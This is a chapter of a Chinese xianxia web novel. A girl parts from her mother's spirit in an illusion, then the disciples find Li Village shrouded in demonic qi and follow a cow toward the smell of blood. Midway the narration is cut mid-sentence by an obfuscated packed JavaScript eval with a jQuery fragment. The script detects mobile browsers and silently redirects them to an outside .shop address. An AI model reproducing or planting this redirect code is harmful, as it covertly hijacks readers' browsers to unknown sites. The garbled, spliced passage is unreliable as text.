“阿娘。”
符明桑躺在床榻上,戴姑坐在榻上,抚摸着少女的手背,安抚她入睡。
“睡吧,桑桑。”
戴姑温柔的声音入耳,符明桑眼皮子打架,不出半刻进入梦乡。
带她睡着。戴姑眸中带泪,那滴泪迟迟不落,倔强中带着坚韧,她明白自己不能哭,可是晶莹的泪珠还是划过她的脸颊。
那不仅仅是泪,更是包含了对女儿的愧疚。
从她呱呱坠地到现在娉婷少女,这中间她从未出现,生了她却没有伴着她成长,天底下的母亲能做到她这份上的少之又少。
戴姑好想每日捧着她的脸,告诉她,她很爱她。
“你该出去了,桑桑。”
戴姑留下这句话,擦了眼角的泪,起身。
符明桑一把拽住她的衣角,感受到身后的拉力,戴姑却胆怯的不敢回头。
“大家都有娘陪着,就连宗门中的小狗阿黄都有母亲,偏偏我自幼便失去母亲。”符明桑抬头注视着戴姑的背影,话语中充满着希冀,那是一个孩子对母亲的渴望。
她本不是懦弱之人。
符明宗门里欺负她的人不计其数,都想越过她这个宗主之女成为新宗主,为了活命只能佯装懦弱无能之人。
“阿娘,您不在看看桑桑,看看女儿吗?”
戴姑抿紧唇瓣,喉间涩得生疼。十月怀胎生下的孩子怎能不爱,只是再耽搁下去怕她舍不得符明桑的离去,对于这个女儿,戴姑真是又爱又恨。
人对于越是得不到的东西越是贪恋。
可符明桑贪恋的不多,她没有宗门廉江胃口大,大到要吞并符明宗,将符明桑彻底杀死好来保全地位。
“桑桑,是娘对不住你。”
下一刻,符明桑落入了个温馨的怀抱,这是母亲的怀抱,是她渴望了十九年的怀抱。
母女寒暄一会儿。
戴姑:“桑桑,娘会指引你们去你们想去的地方,你们也是时候知晓这里为何变成这样,只是你们离开后就忘记这里当作什么都不知道。”
符明桑用衣袖擦拭着戴姑的眼泪,“那阿娘你呢,你是真的死了吗?”
戴姑道:“桑桑,娘早在十九年前便死去,现在的我不过是一缕残魂。”
符明桑圈主她的胳膊,不愿离开,“阿娘,父亲说你是生我难产而死,宗门的人说我克死了你,是我对不起你,若不是我......”她将埋藏在心底十九年的话宣之于口,本以为是紧张没想到是解脱。
“是你父亲同你讲的?”戴姑的语气听不出喜怒。
符明桑点点头,在得到女儿的确定下戴姑倏地笑了,“阿娘,你没事吧。”
戴姑止住了笑意,看向符明桑道:“丹修一门没落,你小姨在灵界怕不是寸步难行,不过你是个有主意的孩子。好了,桑桑你的朋友们还在等你。”
符明桑咯噔一下,四处张望:“柳柳?她在哪里?”
“不用看了,她不在这里。”戴姑叹气着,话音一转,颇为心疼道:“桑桑,你是时候该放下了。”
她猛地抬眸,脸色苍白,眼神脆弱。
阿娘怎么会知道!
戴姑不语,转眼消失不见,符明桑对着静默的空气,最后轻唤了一声:“阿娘。”
她眼前一白,幻境崩塌,五人回到了现实中的李家村。
符明桑趔趄一下,松萝手疾眼快上去搀扶着她,迷雾散去身后赫然是陆松厌和藤岁檀,而李剑敛一副生人勿近的表情。
陆松厌往藤岁檀靠了靠,小声喃喃,“师弟,你瞧他是不是年纪太大不好容易娶亲,结果是假的,气得脑子坏了?”
藤岁檀瞥了眼他,冷笑道,“大师兄,你可以上去问问?”
陆松厌看见他这副样子,更加不敢看藤岁檀,一看到他就想到自己舔着脸叫他爷爷的事情,他好像往小师弟脸上扔一张忘记记忆的符纸,不对,应该给自己脸上扔一张。
“柳柳,桑师妹。”他使眼色道。
她们二人这才将视线看向李剑敛,他沉默着一言不发。
李剑敛刚刚经历了人生中最可怕的事情,他再次醒来居然和除了一枝花以外的女子成亲,给自己吓得背了一晚上的男德。
“不好。”陆松厌猛然惊觉,他道,“幻境太逼真,连我都被恍在里面。”
“幻境源于内心深处。”李剑敛皱着眉,缓过神道:“内心越有事,幻境便越难挣脱,难挣脱者会死。”
陆松厌有些不信,“你骗人,我内心能有多大的事?”
李剑敛:“藏在内心最深处的你自然不知道,有可能连你的心都在骗你。”
“我的心骗我?”他发出质疑,“我的心不可能骗我!”
李剑敛无法与他沟通,符明桑听到他们的谈话,不自觉握住自己颤抖的胳膊。
“等等,大师兄你说这是幻境?”松萝有些不理解,明明是福音偏说是祸害。
陆松眼挑眉,满眼都是大大的疑惑,他竟然有些不自信,“难不成不是?”
符明桑在压抑的氛围中缓缓开口道,“我算过,正如柳柳所说的那样不是幻境。”
松萝又道,“在里面我看见了我先前养过的牛,连名字都出奇的一致。我本以为是幻境,它是在一点点渗透我的记忆,可它又并没有害我,我还是我,于是我去炸了一下那位兄长,是他的反应告诉我是用来保护我们的。”
陆松厌:“牛的名字不都是牛牛或者其他的,是不是意外撞名?”
松萝还以为他听出来了,谁料竟然是这个无足轻重的问题:“不可能,我的牛叫念念,思念的念。”
没错,念念便是她养的牛。
为何叫念念,还不是因为自己刚到新世界,天崩开局,只有一头牛相依为命,为了时时刻刻提醒自己,所以取名念念,意为想念。
“所以说你是试探出来的?”李剑敛道,“你就这么肯定?”
松萝眨巴着眼,无辜道:“其实我的话你们可以听一半,是里面的老人同我讲,说窥视不对,我思来想去说的不就是里面的兄长,他以为我不知道他在偷偷窥视我给他熬药,正常人谁会偷窥自家妹妹熬药呢。”
她撅起嘴巴,一想到那个老人很是无奈,他的那句一语双关,不仅说她偷窥还说松竹也在窥视。
她神秘兮兮靠近陆松厌道,“你可知老人是谁?”
他摇了摇头,松萝顿时起了兴致,宛若恶鬼在索命道,“你想知道,可我不知道啊。”
“柳柳!”他气得脸红脖子粗,硬是追着她在符明桑周围跑。
李剑敛抬头,望着眼前黑压压一片,“这是何物?”
“魔气。”藤岁檀看着眼前弥漫在整个李家村的黑雾,经久不散,不断盘旋在上空。
李剑敛眉头皱的能将一只苍蝇夹死,他目光不善道,“一个凡间出现魔气,噬灵河难不成功效没了?”
松萝一想起那条河就烦,但她没有停下脚步,回答道:“噬灵河地下什么都没有,李叔不可在听信谣言,魔气的出现只得说明此地绝对有东西在。”
二人最终以藤岁檀双手捏住后衣领制止了追逐。
陆松厌命苦的叹气,自己心心念念的亲妹妹竟然是个魔丸!
藤岁檀似是不解气,将松萝往上提,她晃着自己的双腿明白了何为丢脸。
符明桑掐决,细细推演
松萝看着其余三人表情凝重,就连李剑敛都皱着眉头,想起藤岁檀让她罚抄的碧梧之书上写到过魔气,魔气是世间最可怕的力量。
魔气会让人失去理智,变成只会嗜血的怪物,据说当年的魔君不就是杀气太重,不被天道认可,自此他生而为神却不得以神自居。
陆松厌理了理衣领,看向众人:“这事情已经不是我们能管的,我即刻通报灵界。”
松萝发问:“那你难道要飞回灵界?”
陆松厌拿出每个人都有的灵简:“前几日尊者研究出新的玩法,用灵气传入灵简就可以直达对方灵简。”
讲完,符明桑拿出自己的灵简,也适应了新的玩法给符宗主报了平安。
松萝拿出自己叫柳柳的灵简,得瑟看了一眼藤岁檀,仿佛再说你有种拿出来。
脑海中响起藤岁檀的轻嗤一声。
本皇不用灵简。
松萝“哼”了一声,“有什么了不起的。”
陆松厌拿着灵简发送信息:“我已告知家父,他们即刻前来。”
寂静长夜笼罩着他们,他们五人找到一个石墩处坐下,等待下一步计划。
松萝捡起树枝,在地上画着玩。
陆松厌经过看去,发出惊呼,“小师妹,这是什么东西!”
松萝羞红了脸,“大师兄,两只眼睛一个鼻子这不就是你嘛。”
被提及的某人指着地上不似人的画技气的不行,“你说这是我!”
松萝格外自豪:“如何,好不好看?”
陆松厌想说难看也不行,说丑会打压妹妹的自尊心,“你说呢?”
“哇塞,大师兄情商好高呀!”她鼓着掌道:“但我没情商,我觉得丑。”
陆松厌气笑着说:“师妹,我未来娶不到媳妇都要怪你。”
松萝:“哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769660|206589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能呢。”她可不想头上被扣上一口锅来。
她挤眉弄眼朝着陆松厌示意这幅画上画的是藤岁檀而非他而已。陆松厌顿时喜笑颜开,小师弟长得人神共愤,若生在灵界自己第一美男的身份不得被他抢了去。
而且师弟冷冷清清,对自己就像对待一个陌生人自己可是真心待他。
他比了个赞:“小师妹,画得真像。”
符明桑探头过来,瞧见地上乱成一锅粥的画,总觉得丑中带着独特的韵味,是第一次见没错但总觉得很熟悉,“画的是大师兄吗?”
陆松厌听完原地石化,身旁松萝笑得眼泪都出来了。他指了指自己再指着地上,不可置信的眼神:“在你眼中,我长这样!”
符明桑极为认真的对比,“没错啊,小师妹把你左眉右边到尾的痣都画出来了。”
陆松厌震惊,迅速看去,地上的小人的的确确也有同样的痣。
他咬牙切齿道,“柳柳!”
她略略道,“师兄叫你今日看不起我,如何呢?”
在一声又一声的逼问下,符明桑突兀的笑着并且小声道:“我觉得挺可爱的。”
陆松厌疆在原地,批评松萝的话都泄了气,“真的吗?”
符明桑真挚道:“是的。”她看着陆松厌的眼眸,被他亮晶晶的眼睛晃到,她又重复着,“挺可爱的。”
见陆松厌不争气的样子,她转头在地上画了一只猪头,刚刚好让藤岁檀看了去。
她没有太注意他,手比脑子快在猪的右边画了一只蛇,写着大坏蛋三字。
方才画藤岁檀不真,现在才是真的。
阴恻恻的声音在她耳边响起,她弯腰的身形一顿,悠悠对上少年的眸子,那双眸子要不是笑着,她还以为她要完蛋喽。
“小师兄好啊。”
他语气森然道:“你是在画什么?”
松萝陪笑着,“我在画猪吃虫子。”
“哦,那是虫子。”藤岁檀继续装傻充愣,“为何虫子边上写这个大坏蛋?”
松萝在心里默默捡起石头,想要将他砸晕过去。
“非也非也,大坏蛋指的是大师兄啊,他刚刚在嘲笑我的画技。”
藤岁檀继续听着她无力的辩驳。
他气笑道:“虫子?”
“虫子好啊,蛋白质丰富。”
藤岁檀翘着二郎腿,“那你吃一个我看看。”
“不必不必,我吃饱了。”
“是吗?”
她恳切点头,瞥见大师兄正在同小师姐聊的起劲,自己欲哭无泪。
小师姐,大师兄快来救救我!
“哞——”
牛叫声在李家村里游荡着,这叫声很是熟悉,让松萝以为就是幻境的那头牛。
陆松厌:“哪来的牛叫声?太诡异了,连人都没有居然会有牛叫。”
他率先拿着弱水剑站在他们前面,弱水剑劈开面前浓郁的魔气,一头骨瘦如材的牛站在他们前面,黄豆大小的眼睛看着他们。
他道:“你是妖还是鬼?”
牛只是哞哞的叫唤着,声音低沉哀叫。
陆松厌:“......”
松萝走上前,符明桑拉住她:“你要作甚?”
她只是往前一步就不再往前走,试探开口:“念念是你吗?”
牛似有所感,在听到自己的名字,尾巴摇晃着小跑到自己面前,她伸手抚摸着念念的头。
她眸中满是回忆依旧遗憾,可是念念不属于这个位面,所以说牛绝非念念只是名字一样。
陆松厌收回弱水剑,问道,“这便是你口中的念念。”
念念着急在原地跺脚,哞哞叫着。松萝:“你是在找什么?”念念不跺脚了,只是哞了一声,看来松萝猜对了念念的意思。
陆松厌着急道:“你要去?”
松萝:“大师兄现在也无事可做,念念也帮过我。”
符明桑站出来,手中拿着随时要用的符纸:“要去一起去。”正好戴姑说过,要让他们去看看这里到底发生何事。
松萝望着身后的四人:符明桑温柔的笑着,李剑敛低低“嗯”一声,陆松厌持着剑往前走去。
至于藤岁檀,他已经跟着念念走着。
鼻头一酸,穿越位面多年,这种感情是从未体验过的,也是她最向往的。
他们往村庄深处走去。
“哪来的血腥味?”陆松厌捂着鼻子道。
松萝轻嗅,一股刺鼻的血腥味从前方的黑雾中传来。
李剑敛凝重道:“人血。”
“很多很多的人血。”